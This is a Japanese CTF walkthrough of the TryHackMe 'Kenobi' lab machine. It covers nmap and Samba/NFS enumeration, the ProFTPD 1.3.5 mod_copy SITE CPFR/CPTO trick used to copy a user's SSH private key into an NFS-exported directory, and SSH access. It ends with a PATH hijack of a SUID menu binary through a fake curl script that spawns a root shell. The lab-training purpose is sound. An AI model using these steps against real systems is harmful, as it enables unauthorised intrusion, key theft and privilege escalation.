フラグ獲得までTryHack "Kenobi"
タイトルの元ネタはStarWarsの”Obi-Wan Kenobi”というキャラクターみたいです。StarWars観たことないので知りませんが。。なぜこのタイトルがついているかもわかりません。さておき、今回もフラグ獲得目指していきます。
ターゲットマシン
OS:ubuntu
IPaddress:10.10.98.86
攻撃マシン
OS:kali linux
Task1:Deploy the vulnerable machine
まず、最初はいつもの通りポートスキャンを実行します。
─$ nmap -Pn -T4 -A 10.10.98.86
Starting Nmap 7.92 ( <https://nmap.org> ) at 2022-09-01 07:56 EDT
Nmap scan report for 10.10.98.86
Host is up (0.25s latency).
Not shown: 993 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
| 256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
|_ 256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_/admin.html
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100003 2,3,4 2049/udp nfs
| 100003 2,3,4 2049/udp6 nfs
| 100005 1,2,3 35679/tcp6 mountd
| 100005 1,2,3 40627/udp6 mountd
| 100005 1,2,3 44937/tcp mountd
| 100005 1,2,3 57586/udp mountd
| 100021 1,3,4 33087/tcp6 nlockmgr
| 100021 1,3,4 33609/tcp nlockmgr
| 100021 1,3,4 38380/udp6 nlockmgr
| 100021 1,3,4 41089/udp nlockmgr
| 100227 2,3 2049/tcp nfs_acl
| 100227 2,3 2049/tcp6 nfs_acl
| 100227 2,3 2049/udp nfs_acl
|_ 100227 2,3 2049/udp6 nfs_acl
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp open nfs_acl 2-3 (RPC #100227)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h40m00s, deviation: 2h53m12s, median: 0s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2022-09-01T11:57:05
|_ start_date: N/A
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: kenobi
| NetBIOS computer name: KENOBI\\x00
| Domain name: \\x00
| FQDN: kenobi
|_ System time: 2022-09-01T06:57:05-05:00
-A : サービスのバージョン検知
Openになっているポート数は7つありました。また、-Aオプションでサービスのバージョンを検知しています。今回のこのSambaというサービスを利用してターゲットマシンにアクセスをしていきます。
Sambaについて
Sambaは、LinuxやBSDなどのUNIX系OSをWindows Networkに参加させるためのソフトウェアです。Sambaを利用すると、Linuxなどのマシンに、Windows Networkを経由したファイルサーバ、プリンタサーバ、ドメイン参加機能、ドメインコントローラ機能などを持たせることができます。
https://linuc.org/study/knowledge/491/
今回のマシン攻略では、SambaのLinuxとWindowsとの間でのファイル共有機能を使っていきます。
Task2:Enumerating Samba for shares
Sambaのより詳細な探索を行います。今回はNSE(Nmap Script Engine)を使います。
使うスクリプトは”smb-enum-shares.nse”,”smb-enum-users.nse”の2つです。ファイルは、/usr/share/nmap/scripts
配下にあります。このディレクトリには他にもNSEのスクリプトが多数あります。
└─$ nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.98.86
Starting Nmap 7.92 ( <https://nmap.org> ) at 2022-09-01 08:02 EDT
Nmap scan report for 10.10.98.86
Host is up (0.35s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-enum-shares:
| account_used: guest
| \\\\10.10.98.86\\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (kenobi server (Samba, Ubuntu))
| Users: 1
| Max Users: <unlimited>
| Path: C:\\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\\\10.10.98.86\\anonymous:
| Type: STYPE_DISKTREE
| Comment:
| Users: 0
| Max Users: <unlimited>
| Path: C:\\home\\kenobi\\share
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\\\10.10.98.86\\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:\\var\\lib\\samba\\printers
| Anonymous access: <none>
|_ Current user access: <none>
IPC$,anonymous,print$
の3つの共有ディレクトリが見つかりました。次に、anonymousに接続して探索を続けます。smbclient
というコマンドを実行します。
└─$ smbclient //10.10.98.86/anonymous
Password for [WORKGROUP\\kali]:
Try "help" to get a list of possible commands.
smb: \\>
ls
を実行すると、log.txtの存在がわかります。
smbget
コマンドでlog.txtファイルを取得します。
smb: \\> ls
. D 0 Wed Sep 4 06:49:09 2019
.. D 0 Wed Sep 4 06:56:07 2019
log.txt N 12237 Wed Sep 4 06:49:09 2019
9204224 blocks of size 1024. 6877104 blocks available
└─$ smbget -R smb://10.10.98.86/anonymous
Password for [kali] connecting to //10.10.98.86/anonymous:
Using workgroup WORKGROUP, user kali
smb://10.10.98.86/anonymous/log.txt
Downloaded 11.95kB in 11 seconds
log.txt1ファイルを取得できました。
中身を確認したいと思います。
└─$ cat log.txt
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
| |
| .. |
| . o. . |
| ..=o +. |
log.txtに色んな内容が記載されていますが、注目すべきは上部に書かれている秘密鍵生成のログの部分です。秘密鍵が生成されたパス(/home/kenobi/.ssh/id_rsa)が記載されていることがわかります。この情報は使えそうです。
次は、最初のポートスキャンでopenになっていた111番ポートの探索を行います。
111/tcp open rpcbind 2-4 (RPC #100000)
2049/tcp open nfs_acl 2-3 (RPC #100227)
NFSはRPCベースのファイル共有サービスになります。
これから、リモートからエクスポート可能なディレクトリを探索します。NSEを使ってnfsのスクリプト3つを実行します。
└─$ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.98.86
Starting Nmap 7.92 ( <https://nmap.org> ) at 2022-09-01 08:16 EDT
Nmap scan report for 10.10.98.86
Host is up (0.29s latency).
PORT STATE SERVICE
111/tcp open rpcbind
| nfs-showmount:
|_ /var *
/varディレクトリがエクスポートされていることがわかりましたので、Task3では/varディレクトリにアクセスしていきたいと思います。
Task3:Gain initial access with ProFtpd
Task1で21番ポートにはProFTPDというサービスが使われていることがわかっていますので、このProFTPD1.3.5のエクスプロイトを探します。
└─$ searchsploit ProFTPD 1.3.5
---------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------- ---------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit) | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2) | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy | linux/remote/36742.txt
---------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
4つヒットしました。今回は36742のエクスプロイトに記載されているように、SITE CPFR
,SITE CPTO
コマンドを使って秘密鍵を共有ディレクトリにコピーして秘密鍵獲得をします。
詳細は下記リンクに記載されています。
https://www.exploit-db.com/exploits/36742
まず、ncコマンドを使ってターゲットマシンの21番ポートに接続します。そして、SITE CPFR
,SITE CPTO
コマンドを下記の通り実行して、秘密鍵を/varディレクトリにコピーさせます。
└─$ nc 10.10.98.86 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.98.86]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
QUIT
221 Goodbye.
ターゲットマシンの/var
を攻撃マシンの/mnt/kenobiNFS
にマウントし、ファイルを確認します。ちゃんとファイルがコピーされていそうです。
┌──(kali㉿kali)-[~]
└─$ sudo mount 10.10.98.86:/var /mnt/kenobiNFS
┌──(kali㉿kali)-[~]
└─$ ls -la /mnt/kenobiNFS
total 56
drwxr-xr-x 14 root root 4096 Sep 4 2019 .
drwxr-xr-x 4 root root 4096 Sep 1 08:32 ..
drwxr-xr-x 2 root root 4096 Sep 4 2019 backups
drwxr-xr-x 9 root root 4096 Sep 4 2019 cache
drwxrwxrwt 2 root root 4096 Sep 4 2019 crash
drwxr-xr-x 40 root root 4096 Sep 4 2019 lib
drwxrwsr-x 2 root staff 4096 Apr 12 2016 local
lrwxrwxrwx 1 root root 9 Sep 4 2019 lock -> /run/lock
drwxrwxr-x 10 root render 4096 Sep 4 2019 log
drwxrwsr-x 2 root mail 4096 Feb 26 2019 mail
drwxr-xr-x 2 root root 4096 Feb 26 2019 opt
lrwxrwxrwx 1 root root 4 Sep 4 2019 run -> /run
drwxr-xr-x 2 root root 4096 Jan 29 2019 snap
drwxr-xr-x 5 root root 4096 Sep 4 2019 spool
drwxrwxrwt 6 root root 4096 Sep 1 08:30 tmp
drwxr-xr-x 3 root root 4096 Sep 4 2019 www
秘密鍵を/home
にコピーしてきて、権限を600(所有者の読み書きを許可)に書き換えます。
これでssh接続の準備が整いました。
└─$ cp /mnt/kenobiNFS/tmp/id_rsa .
└─$ ls -la id_rsa
-rw-r--r-- 1 kali kali 1675 Sep 1 08:43 id_rsa
└─$ sudo chmod 600 id_rsa
ssh接続を行います。
└─$ ssh -i id_rsa kenobi@10.10.98.86
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)
* Documentation: <https://help.ubuntu.com>
* Management: <https://landscape.canonical.com>
* Support: <https://ubuntu.com/advantage>
103 packages can be updated.
65 updates are security updates.
Last login: Wed Sep 4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
kenobi@kenobi:~$
アクセス成功!
kenobi@kenobi:~$ cat /home/kenobi/user.txt
フラグ1つ目獲得!
Task4:Privilege Escalation with Path Variable Manipulation
先ほどkenobiユーザでssh接続できるようにして、1つ目のフラグを獲得できました。次はルート権限に昇格して2つ目のフラグ獲得を狙います。SUIDが設定されている実行ファイルを探します。
kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/usr/bin/menu
というバイナリが一般には存在しない怪しいものになります。実行して確認してみます。
kenobi@kenobi:~$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
なるほど。。
数字を入力することで、その数字に割り当てられた機能を実行するようです。”1”を実行したときの動作はcurl -i localhost
と同じ動きになっていて、内部でcurl
コマンドが使われていると推測できます。ということで次は、シェルを実行する偽のcurlコマンドを作って、こちらを実行させることで権限昇格を行います。
- /bin/shを実行するcurlバイナリを作成
- curlコマンドに/bin/shを実行する一文を追記
- chmodで権限を読み書き可能に変更
- 偽のcurlバイナリを作ったディレクトリにPATHを通す
kenobi@kenobi:/tmp$ echo /bin/sh > curl
kenobi@kenobi:/tmp$ chmod 777 curl
kenobi@kenobi:/tmp$ ls -la curl
-rwxrwxrwx 1 kenobi kenobi 8 Sep 1 07:59 curl
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
kenobi@kenobi:/tmp$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
# id
uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
# whoami
root
#
ROOT権限を取得できました。
# cat /root/root.txt
2つ目のフラグも獲得!!!
Discussion